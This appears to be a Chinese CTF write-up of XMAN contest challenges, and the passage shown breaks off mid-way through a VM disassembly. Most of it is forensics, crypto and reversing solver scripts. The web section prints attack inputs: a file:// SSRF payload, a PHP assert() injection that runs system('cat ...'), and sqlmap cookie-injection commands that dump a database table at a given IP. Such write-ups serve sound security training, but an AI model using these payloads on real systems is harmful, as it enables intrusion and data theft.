唉 pwn 还是没有入门。
MISC
FILE
用 DiskGenius
恢复磁盘:
XMAN 通行证
不同的网站解密结果竟然不一样。最后发现这个网站还行。
a2FuYmJyZ2doamx7emJfX19ffXZ0bGFsbg==
第一眼就知道先是 base64:
kanbbrgghjl{zb____}vtlaln
栅栏 7 栏加密:
kzna{blnl_abj_lbh_trg_vg}
凯撒位移 13 位得到 flag:
xman{oyay_now_you_get_it}
PPAP
用 wireshark 打开,搜索关键字 flag,很容易找到一串 base64:
经过分析以后,具体结构应该是这样的:
yaaaaaaaar, land ho!
Hey wesley, you got that flag?
Ayy, I got yer files right here, matey!
[base64'd jpg]
[base64'd flag.zip]
And here be the map to the booty!
[base64'd Haar cascade]
I don't understand, this isn't even a ma-
Yarrrr, the booty be buried by that which the map points to! (no spaces and no caps)
Ayy, now I be off. But remember, the factor of scales be 1.02, and the neighborly sorts be limited to 50!
Lastly, if ye sail the seven seas, you do be a pirate!
jpg 文件和 zip 文件之间通过等号判断分隔。通过 python 得到三个文件:
# example
import base64
f1 = open('b1', 'r')
enc1 = f1.read()
f2 = open('b1.jpg', 'w')
out = base64.b64decode(enc1)
f2.write(out)
f1.close()
f2.close()
然后又通过 binwalk 发现,这里输出的 jpg 图片其实不止一张。用 foremost 输出所有的图片。
下面用了官方的脚本,用 opencv 找出数百张图片的其中一张来得到密码:
import os
import sys
import cv2
# Get all of the pictures
imgs = os.listdir('jpg')
# Cascade we'll be using for detection
cascade = cv2.CascadeClassifier('b3.xml')
# From the clues
scaling_factor = 1.02
min_neighbors = 10 # Bumped this up until one pic was left
for img_name in imgs:
# Load the image and run the cascade
img = cv2.imread(os.path.join('jpg', img_name))
detect = cascade.detectMultiScale(img, scaling_factor, min_neighbors)
if len(detect) > 0:
for (x, y, w, h) in detect:
# X marks the spot!
cv2.line(img, (x, y), (x + w, y + h), (255, 0, 0), 2)
cv2.line(img, (x, y + h), (x + w, y), (255, 0, 0), 2)
# Save the new image
cv2.imwrite(os.path.join('detected', img_name), img)
最后得到一张海盗的图片,容易知道密码应该是 skullandcrossbones,得到 flag。
AUTOKEY
一个 pcap 包,都是 usb 流量,通过 tshark
提取出来:
⚡ root@kali ~/Desktop tshark -r task_AutoKey.pcapng -T fields -e usb.capdata > usbdata.txt
Running as user "root" and group "root". This could be dangerous.
查看后发现都是八个字节的数据,那么应该是键盘流量,用脚本跑出来:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[2]!='0' or line[3]!='0' or line[6]!='0' or line[7]!='0' or line[8]!='0' or line[9]!='0' or line[10]!='0' or line[11]!='0' or line[12]!='0' or line[13]!='0' or line[14]!='0' or line[15]!='0':
continue
nums.append(int(line[4:6],16))
print nums
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output
出来的结果:
output :
[unknown]A[unknown]UTOKEY''.DECIPHER'[unknown]MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXO[DEL]PZE[DEL]IZ'
去掉 [uuknown]
,[DEL]
则是去掉后一个字符,得到:
output :
AUTOKEY''.DECIPHER'MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXOZEZ'
百度一下 autokey,用 github 上找到的的爆破脚本得到 flag。
-676.914569565 autokey, klen 8 :"FLAGHERE", HELLOBOYSANDGIRLSYOUARESOSMARTTHATYOUCANFINDTHEFLAGTHATIHIDEINTHEKEYBOARDPACKAGEFLAGISJHAWLZKEWXHNCDHSLWBAQJTUQZDXYQLF
HELLO BOYS AND GIRLS YOU ARE SO SMART THAT YOU CAN FIND THE FLAG THAT I HIDE IN THE KEYBOARD PACKAGE FLAG IS JHAWLZKEWXHNCDHSLWBAQJTUQZDXYQLF
WEB
SIMPLE SSRF
hint 里提示 curl
还有 flag在/etc/flag.txt
,大概是通过 file 协议读取本地文件。payload:
file://www.baidu.com/etc/flag.txt#
MAKEIT
网页上提示了 git,猜测存在 .git
文件泄露,把源码下载下来之后审计:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
这里有 assert()
,可以执行函数中的命令,通过构造闭合前面的 strpos()
绕过,来得到 templates/flag.php
中的内容:
1', '..') or system('cat templates/flag.php'); //
BBSQLI
cookie 注入,PHPSESSID 拿下来:
用 sqlmap 跑:
// 跑表名
python sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=0f3f8f5bcd396b7d83ea2799a77aea49" --table --level 2
// 跑列名
python sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=0f3f8f5bcd396b7d83ea2799a77aea49" --columns -T '[GDJM_flag]' --level 2
// 跑flag
python sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=0f3f8f5bcd396b7d83ea2799a77aea49" --dump -T '[GDJM_flag]' -C 'flag' --level 2
PS:不同的 level 等级,SQLMAP 所采用的策略也不近相同,当–level 的参数设定为 2 或者 2 以上的时候,sqlmap 会尝试注入 Cookie 参数;当–level 参数设定为 3 或者 3 以上的时候,会尝试对 User-Angent,referer 进行注入。
RE
DRAGON QUEST
和 csaw 的那道 wyvern 很像,可以用 angr 跑出来:
#!/usr/bin/env python
import angr
import claripy
p = angr.Project('task_xman1')
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(28)] # flag's length is 28, every char is 8 bit
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) # end with '\n'
st = p.factory.full_init_state(
args=['./xman_task1'], # arguments
add_options=angr.options.unicorn,
stdin=flag, # flag as input
)
for k in flag_chars:
st.solver.add(k != 0) # char is not 0
st.solver.add(k != 10) # char is not '\n'
sm = p.factory.simulation_manager(st)
sm.run()
out = b''
for pp in sm.deadended:
out = pp.posix.dumps(1)
if b'flag{' in out:
out = next(filter(lambda s: b'flag{' in s, out.split()))
break
print('flag:', out)
pizza 大佬提供了另一种思路。先用 ida-python 去混淆:
import ida_xref
import ida_idaapi
from ida_bytes import get_bytes, patch_bytes
def do_patch(ea):
if(get_bytes(ea, 1) == "\x8B"): # mov eax-edi, dword
reg = (ord(get_bytes(ea + 1, 1)) & 0b00111000) >> 3
patch_bytes(ea, chr(0xB8 + reg) + "\x00\x00\x00\x00\x90\x90")
elif(get_bytes(ea, 2) == "\x44\x8B"): # mov r8d-r15d, dword
reg = (ord(get_bytes(ea + 2, 1)) & 0b00111000) >> 3
patch_bytes(ea + 1, chr(0xB8 + reg) + "\x00\x00\x00\x00\x90\x90")
for addr in xrange(0x610318, 0x6105AC, 4):
ref = ida_xref.get_first_dref_to(addr)
print(hex(addr).center(20,"-"))
while(ref != ida_idaapi.BADADDR):
do_patch(ref)
print("patch at " + hex(ref))
ref = ida_xref.get_next_dref_to(addr, ref)
print("-"*20)
最后脚本:
secret = [100, 214, 266, 369, 417, 527, 622, 733, 847, 942, 1054, 1106, 1222, 1336, 1441, 1540, 1589, 1686, 1796, 1891, 1996, 2112, 2165, 2260, 2336, 2412, 2498, 2575]
n = 0
flag = ""
for i in xrange(0, len(secret)):
ch = secret[i] - n
n += ch
flag += chr(ch)
print(flag)
EASYWASM
github 上找到一个将 wasm 转成 c 的工具。命令:wasm2c easywasm.wasm -o easywasm.c
大概内容:
...
static void init_globals(void) {
g2 = 0u;
g3 = 0u;
_flag_enc = 0u;
_k = 1104u;
_r = 1360u;
}
...
static void _md5(u32 p0, u32 p1, u32 p2) {
...
}
static u32 _check(u32 p0) {
...
}
...
static void init_memory(void) {
memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 1648);
}
static void init_table(void) {
...
}
static void init_exports(void) {
...
}
void WASM_RT_ADD_PREFIX(init)(void) {
init_func_types();
init_globals();
init_memory();
init_table();
init_exports();
}
转换成 c 代码后,审计起来还是很累。硬逆出来:
#!/usr/bin/env python
import hashlib
data = [0x35, 0x36, 0x32, 0x66, 0x65, 0x33, 0x63, 0x63, 0x35, 0x30, 0x30, 0x31,
0x34, 0x63, 0x32, 0x36, 0x30, 0x64, 0x39, 0x65, 0x38, 0x63, 0x66, 0x34,
0x65, 0x64, 0x33, 0x38, 0x63, 0x37, 0x37, 0x61, 0x00, 0x63, 0x30, 0x32,
0x32, 0x61, 0x64, 0x30, 0x63, 0x63, 0x30, 0x30, 0x37, 0x35, 0x61, 0x39,
0x61, 0x62, 0x31, 0x34, 0x62, 0x34, 0x31, 0x32, 0x61, 0x31, 0x30, 0x38,
0x32, 0x64, 0x35, 0x66, 0x33, 0x00, 0x36, 0x34, 0x63, 0x32, 0x38, 0x36,
0x63, 0x66, 0x63, 0x36, 0x32, 0x33, 0x61, 0x61, 0x38, 0x64, 0x37, 0x64,
0x66, 0x37, 0x63, 0x30, 0x38, 0x38, 0x65, 0x62, 0x66, 0x37, 0x64, 0x37,
0x31, 0x38, 0x00, 0x38, 0x33, 0x36, 0x36, 0x34, 0x62, 0x64, 0x65, 0x65,
0x34, 0x62, 0x36, 0x31, 0x33, 0x62, 0x37, 0x65, 0x37, 0x61, 0x35, 0x31,
0x62, 0x35, 0x32, 0x31, 0x33, 0x34, 0x37, 0x30, 0x61, 0x38, 0x64, 0x00,
0x62, 0x30, 0x32, 0x30, 0x62, 0x66, 0x35, 0x39, 0x38, 0x61, 0x61, 0x61,
0x32, 0x62, 0x33, 0x65, 0x30, 0x33, 0x65, 0x64, 0x30, 0x32, 0x63, 0x38,
0x35, 0x34, 0x33, 0x36, 0x32, 0x36, 0x38, 0x61, 0x00, 0x34, 0x66, 0x64,
0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x34, 0x66, 0x64, 0x61, 0x63, 0x35,
0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39, 0x33, 0x38, 0x31,
0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30, 0x30, 0x39, 0x39,
0x65, 0x64, 0x00, 0x63, 0x32, 0x33, 0x31, 0x64, 0x36, 0x30, 0x37, 0x62,
0x36, 0x38, 0x32, 0x33, 0x66, 0x64, 0x30, 0x61, 0x36, 0x38, 0x65, 0x38,
0x31, 0x33, 0x37, 0x36, 0x30, 0x38, 0x30, 0x39, 0x37, 0x35, 0x34, 0x00,
0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x61, 0x30, 0x31, 0x38, 0x34, 0x66,
0x38, 0x32, 0x34, 0x30, 0x65, 0x32, 0x66, 0x65, 0x34, 0x36, 0x38, 0x36,
0x31, 0x64, 0x63, 0x38, 0x64, 0x31, 0x35, 0x61, 0x38, 0x31, 0x39, 0x63,
0x62, 0x30, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34, 0x31, 0x34, 0x33,
0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63, 0x37, 0x33, 0x34,
0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32, 0x39, 0x37, 0x00,
0x36, 0x66, 0x62, 0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38,
0x62, 0x62, 0x38, 0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66,
0x61, 0x32, 0x34, 0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x36, 0x66, 0x62,
0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38, 0x62, 0x62, 0x38,
0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66, 0x61, 0x32, 0x34,
0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66,
0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36,
0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33,
0x34, 0x38, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36,
0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64,
0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00,
0x64, 0x66, 0x33, 0x33, 0x34, 0x36, 0x34, 0x66, 0x62, 0x34, 0x37, 0x31,
0x63, 0x34, 0x36, 0x61, 0x62, 0x61, 0x66, 0x36, 0x39, 0x31, 0x63, 0x30,
0x30, 0x30, 0x61, 0x30, 0x65, 0x33, 0x30, 0x64, 0x00, 0x34, 0x66, 0x64,
0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35,
0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39,
0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x64, 0x31, 0x36,
0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37, 0x31, 0x61, 0x35,
0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36, 0x63, 0x37, 0x35,
0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34,
0x31, 0x34, 0x33, 0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63,
0x37, 0x33, 0x34, 0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32,
0x39, 0x37, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
0x39, 0x62, 0x33, 0x37, 0x64, 0x62, 0x30, 0x39, 0x31, 0x39, 0x37, 0x39,
0x62, 0x65, 0x64, 0x66, 0x30, 0x30, 0x61, 0x37, 0x30, 0x39, 0x35, 0x38,
0x35, 0x31, 0x62, 0x61, 0x36, 0x66, 0x35, 0x39, 0x00, 0x30, 0x30, 0x63,
0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63,
0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36,
0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x31, 0x38, 0x33, 0x33, 0x34, 0x32,
0x39, 0x39, 0x37, 0x66, 0x66, 0x65, 0x64, 0x34, 0x62, 0x33, 0x31, 0x38,
0x39, 0x65, 0x39, 0x37, 0x37, 0x64, 0x30, 0x37, 0x37, 0x61, 0x36, 0x30,
0x62, 0x34, 0x00, 0x66, 0x34, 0x30, 0x34, 0x61, 0x33, 0x33, 0x36, 0x38,
0x64, 0x32, 0x64, 0x38, 0x66, 0x35, 0x37, 0x34, 0x36, 0x34, 0x66, 0x37,
0x33, 0x39, 0x64, 0x34, 0x65, 0x64, 0x30, 0x31, 0x63, 0x30, 0x65, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0xa4, 0x6a, 0xd7, 0x56, 0xb7, 0xc7, 0xe8, 0xdb, 0x70, 0x20, 0x24,
0xee, 0xce, 0xbd, 0xc1, 0xaf, 0x0f, 0x7c, 0xf5, 0x2a, 0xc6, 0x87, 0x47,
0x13, 0x46, 0x30, 0xa8, 0x01, 0x95, 0x46, 0xfd, 0xd8, 0x98, 0x80, 0x69,
0xaf, 0xf7, 0x44, 0x8b, 0xb1, 0x5b, 0xff, 0xff, 0xbe, 0xd7, 0x5c, 0x89,
0x22, 0x11, 0x90, 0x6b, 0x93, 0x71, 0x98, 0xfd, 0x8e, 0x43, 0x79, 0xa6,
0x21, 0x08, 0xb4, 0x49, 0x62, 0x25, 0x1e, 0xf6, 0x40, 0xb3, 0x40, 0xc0,
0x51, 0x5a, 0x5e, 0x26, 0xaa, 0xc7, 0xb6, 0xe9, 0x5d, 0x10, 0x2f, 0xd6,
0x53, 0x14, 0x44, 0x02, 0x81, 0xe6, 0xa1, 0xd8, 0xc8, 0xfb, 0xd3, 0xe7,
0xe6, 0xcd, 0xe1, 0x21, 0xd6, 0x07, 0x37, 0xc3, 0x87, 0x0d, 0xd5, 0xf4,
0xed, 0x14, 0x5a, 0x45, 0x05, 0xe9, 0xe3, 0xa9, 0xf8, 0xa3, 0xef, 0xfc,
0xd9, 0x02, 0x6f, 0x67, 0x8a, 0x4c, 0x2a, 0x8d, 0x42, 0x39, 0xfa, 0xff,
0x81, 0xf6, 0x71, 0x87, 0x22, 0x61, 0x9d, 0x6d, 0x0c, 0x38, 0xe5, 0xfd,
0x44, 0xea, 0xbe, 0xa4, 0xa9, 0xcf, 0xde, 0x4b, 0x60, 0x4b, 0xbb, 0xf6,
0x70, 0xbc, 0xbf, 0xbe, 0xc6, 0x7e, 0x9b, 0x28, 0xfa, 0x27, 0xa1, 0xea,
0x85, 0x30, 0xef, 0xd4, 0x05, 0x1d, 0x88, 0x04, 0x39, 0xd0, 0xd4, 0xd9,
0xe5, 0x99, 0xdb, 0xe6, 0xf8, 0x7c, 0xa2, 0x1f, 0x65, 0x56, 0xac, 0xc4,
0x44, 0x22, 0x29, 0xf4, 0x97, 0xff, 0x2a, 0x43, 0xa7, 0x23, 0x94, 0xab,
0x39, 0xa0, 0x93, 0xfc, 0xc3, 0x59, 0x5b, 0x65, 0x92, 0xcc, 0x0c, 0x8f,
0x7d, 0xf4, 0xef, 0xff, 0xd1, 0x5d, 0x84, 0x85, 0x4f, 0x7e, 0xa8, 0x6f,
0xe0, 0xe6, 0x2c, 0xfe, 0x14, 0x43, 0x01, 0xa3, 0xa1, 0x11, 0x08, 0x4e,
0x82, 0x7e, 0x53, 0xf7, 0x35, 0xf2, 0x3a, 0xbd, 0xbb, 0xd2, 0xd7, 0x2a,
0x91, 0xd3, 0x86, 0xeb, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x17, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00,
0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x32, 0x33, 0x33, 0x33,
0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
0x33, 0x33, 0x33, 0x33]
s = ''
for c in data:
s += chr(c)
# print s
enc = '562fe3cc50014c260d9e8cf4ed38c77ac022ad0cc0075a9ab14b412a1082d5f364c286cfc623aa8d7df7c088ebf7d71883664bdee4b613b7e7a51b5213470a8db020bf598aaa2b3e03ed02c85436268a4fdac5ac807506938103e775c50099ed4fdac5ac807506938103e775c50099edc231d607b6823fd0a68e813760809754d168c21d10371a5ab61bcfe6c759ef6ef60d709ccf989d849028f97a03d2f3baa0184f8240e2fe46861dc8d15a819cb09dbec414336e741e9c73422df59de2976fb5209d8fc8bb8507245bcfa24ae11f6fb5209d8fc8bb8507245bcfa24ae11f00c77fbc60a5bfc466d3d069876ec34800c77fbc60a5bfc466d3d069876ec348df33464fb471c46abaf691c000a0e30d4fdac5ac807506938103e775c50099edf60d709ccf989d849028f97a03d2f3bafcc94a20596f2619868f3a4bf52eadf700c77fbc60a5bfc466d3d069876ec348d168c21d10371a5ab61bcfe6c759ef6e9dbec414336e741e9c73422df59de297fcc94a20596f2619868f3a4bf52eadf79b37db091979bedf00a7095851ba6f5900c77fbc60a5bfc466d3d069876ec348f60d709ccf989d849028f97a03d2f3bafcc94a20596f2619868f3a4bf52eadf7d168c21d10371a5ab61bcfe6c759ef6ef60d709ccf989d849028f97a03d2f3ba183342997ffed4b3189e977d077a60b4f404a3368d2d8f57464f739d4ed01c0e'
e = []
for i in range(len(enc) / 32):
e.append(enc[32*i:32*i+32])
print e
key = '23333333333333333333333333333333'[:-1]
print key
flag = ''
for i in range(32):
for ch in range(256):
x = hashlib.md5(key + chr(ch)).digest()
x = x.encode('hex').lower()
x = hashlib.md5(x).digest()
x = x.encode('hex').lower()
if x == e[i]:
flag += chr(ch)
break
print flag
EASYVM
第一次做的时候手撸:
0x05, 0x01, 0x0B, // mov r1, rB
0x13, 0x03, 0x03, // xor r3, r3
0x13, 0x00, 0x00, // xor r0, r0
0x13, 0x04, 0x04, // xor r4, r4
r1 = rB;
r3 = r0 = r4 = 0;
0x28, // enter the loop
loop:
0x0C, 0x00, 0x33, // add r0, 0x33
0x14, 0x00, 0x20, // mov r0, r0 mod 0x20
0x05, 0x09, 0x01, // mov r9, r1
0x11, 0x09, 0x00, // add_pch r9, r0
0x0B, 0x0A, 0x09, // ldr_ch rA, r9
0x01, 0x04, 0x0A, // mov r4, rA
0x1B, 0x05, 0x04, // push r5, r4
0x0C, 0x03, 0x01, // add r3, 0x01
0x24, 0x03, 0x20, // cmpl r3, 0x20
0x28, // jl loop
while(1) // loop 0x20 times
{
r0 += 0x33;
r0 = r0 % 0x20;
r9 = r1;
r9 += r0;
rA = r9;
r4 = rA;
r5 = r4 + 1;
r3 += 0x01;
if(r3 >= 0x20)
break;
}
0x13, 0x00, 0x00, // xor r0, r0
0x07, 0x08, 0x05, // lea_int r8, r5
0x0E, 0x08, 0xE0, // add r8, 0xE0
0x07, 0x02, 0x08, // lea_int r2, r8
0x09, 0x0A, 0x02, // ldr_int rA, r2
0x01, 0x00, 0x0A, // mov r0, rA
0x18, 0x00, 0xE0, // and r0, 0xE0
0x1E, 0x00, 0x05, // shr r0, 0x05
0x01, 0x04, 0x00, // mov r4, r0
0x13, 0x03, 0x03, // xor r3, r3
r0 = 0;
r8 = r5;
r8 += 0xE0;
r2 = r8;
rA = r2;
r0 = rA;
r0 &= 0xE0;
r0 >>= 0x05;
r0 &= 0xFF;
r4 = r0;
r3 = 0;
0x28, // enter the loop
loop:
0x09, 0x0A, 0x02, // ldr_int rA, r2
0x01, 0x00, 0x0A, // mov r0, rA
0x18, 0x00, 0x1F, // and r0, 0x1F
0x20, 0x00, 0x03, // shl r0, 0x03
0x1B, 0x05, 0x00, // push r5, r0
0x07, 0x08, 0x05, // lea_int r8, r5
0x0E, 0x08, 0xE0, // add r8, 0xE0
